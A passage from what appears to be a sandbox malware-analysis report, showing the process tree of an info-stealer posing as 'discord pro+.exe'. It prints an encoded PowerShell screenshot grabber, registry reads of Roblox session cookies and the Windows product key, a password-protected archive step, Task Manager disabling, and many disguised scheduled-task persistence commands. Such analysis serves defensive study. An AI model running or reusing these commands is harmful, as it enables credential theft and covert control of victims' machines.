JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        5⤵
        
        PID:332
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:816
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1ge3prox\1ge3prox.cmdline"
        7⤵
        
        PID:4420
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6C08.tmp" "c:\Users\Admin\AppData\Local\Temp\1ge3prox\CSCE87428B55142485986C232AEF52B84.TMP"
        8⤵
        
        PID:4776
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:4788
      - C:\Windows\SysWOW64\tree.com
        
        tree /A /F
        6⤵
        
        PID:552
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:2364
      - C:\Windows\SysWOW64\tree.com
        
        tree /A /F
        6⤵
        
        PID:4788
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:4256
      - C:\Windows\SysWOW64\tree.com
        
        tree /A /F
        6⤵
        
        PID:2364
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:3740
      - C:\Windows\SysWOW64\tree.com
        
        tree /A /F
        6⤵
        
        PID:3600
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:2392
      - C:\Windows\SysWOW64\tree.com
        
        tree /A /F
        6⤵
        
        PID:1736
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        5⤵
        
        PID:3496
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3244
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "getmac"
        5⤵
        
        PID:2596
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:332
      - C:\Windows\SysWOW64\getmac.exe
        
        getmac
        6⤵
        
        PID:2388
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        5⤵
        
        PID:1624
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1932
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI32482\rar.exe a -r -hp"Popovik999" "C:\Users\Admin\AppData\Local\Temp\bCqTf.zip" *"
        5⤵
        
        PID:3516
      - C:\Users\Admin\AppData\Local\Temp\_MEI32482\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI32482\rar.exe a -r -hp"Popovik999" "C:\Users\Admin\AppData\Local\Temp\bCqTf.zip" *
        6⤵
        Executes dropped EXE
        
        PID:4508
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        5⤵
        
        PID:4080
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic os get Caption
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1216
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        5⤵
        
        PID:964
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:1932
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        6⤵
        
        PID:5076
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:1604
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        
        PID:3104
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        5⤵
        
        PID:3592
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3764
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        5⤵
        
        PID:3744
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        
        PID:3144
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        5⤵
        
        PID:3304
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4500
- - C:\Users\Admin\AppData\Local\Temp\discord pro+.exe
    "C:\Users\Admin\AppData\Local\Temp\discord pro+.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1668
  - - C:\Users\Admin\AppData\Local\Temp\antiriser.bat
      "C:\Users\Admin\AppData\Local\Temp\antiriser.bat"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:1828
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\chainwebwinref\iIb9loxeJUzN.vbe"
        5⤵
        Checks computer location settings
        
        PID:2604
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\chainwebwinref\PkXKubhHOUD.bat" "
        6⤵
        
        PID:3672
        
        C:\chainwebwinref\Monitorcommon.exe
        
        "C:\chainwebwinref\Monitorcommon.exe"
        7⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        System policy modification
        
        PID:2312
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\3Ood7egAo0.bat"
        8⤵
        
        PID:3360
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        9⤵
        
        PID:4304
        
        C:\Users\Default\Application Data\cmd.exe
        
        "C:\Users\Default\Application Data\cmd.exe"
        9⤵
        UAC bypass
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        System policy modification
        
        PID:1736
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6634121c-7d6d-4d13-a041-92809dc3f377.vbs"
        10⤵
        
        PID:4360
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bfa489da-6414-4ba2-9648-87131233e2a5.vbs"
        10⤵
        
        PID:2884
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        Modifies registry key
        
        PID:1772
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\chainwebwinref\file.vbs"
        5⤵
        
        PID:1168
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\ssl.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1012

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\SppExtComObj.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3484

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Users\Default User\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4772

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 10 /tr "'C:\Users\Default User\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2840

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Mail\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3320

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3760

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Mail\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Application Data\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2692

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Users\Default\Application Data\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1348

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 11 /tr "'C:\Users\Default\Application Data\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3128

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 11 /tr "'C:\Program Files\Common Files\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3244

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Program Files\Common Files\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3496

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 5 /tr "'C:\Program Files\Common Files\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3104

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_97390\backgroundTaskHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_97390\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3756

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_97390\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Multimedia Platform\MoUsoCoreWorker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1828

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Multimedia Platform\MoUsoCoreWorker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Multimedia Platform\MoUsoCoreWorker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4940

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 13 /tr "'C:\Users\Admin\AppData\Local\Temp\SearchApp.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:752

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1440

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 10 /tr "'C:\Users\Admin\AppData\Local\Temp\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5092

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "BuiltB" /sc MINUTE /mo 8 /tr "'C:\chainwebwinref\Built.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4356

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Built" /sc ONLOGON /tr "'C:\chainwebwinref\Built.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4132

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "BuiltB" /sc MINUTE /mo 13 /tr "'C:\chainwebwinref\Built.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3528

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 8 /tr "'C:\chainwebwinref\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3504

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\chainwebwinref\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3972

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 14 /tr "'C:\chainwebwinref\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2056

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 12 /tr "'C:\Windows\PolicyDefinitions\es-ES\lsass.exe'" /f
1⤵
